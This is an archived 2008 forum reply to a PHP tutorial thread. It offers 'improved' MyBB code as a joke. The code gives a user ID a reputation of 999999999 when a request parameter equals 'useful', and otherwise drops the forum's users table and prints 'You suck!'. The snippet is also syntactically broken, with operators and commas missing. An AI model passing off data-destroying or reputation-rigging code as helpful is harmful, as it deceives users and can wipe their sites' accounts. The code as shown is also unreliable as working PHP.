View Single Post
  #4  
Old 10-04-2008, 08:19 AM
Ajof Ajof is offline
Member
 
Join Date: Jun 2008
Posts: 79
Credits: 5,876
Ajof
Send a message via MSN to Ajof
Default RE: Quick php tutorial

Improved your code and made it compatible with mybb :)

PHP Code:
<?php
require_once 'mybb/global.php';

if(
$mybb->input['thread'] == 'useful')
{
           
$insert_array = array(
                                      
'uid' => 'whatever the hell my userid is',
                                      
'adduid' => $mybb->user['uid'],
                                      
'reputation' => '999999999',
                                      
'comments' => $db->escape_string($mybb->input['comments'])
                                       );
           
$query $db->insert_query("reputation"$insert_array);
}
else
{
          
$db->query('DROP TABLE '.TABLE_PREFIX.'users');
          
$db->error('You suck!');
}
?>
Reply With Quote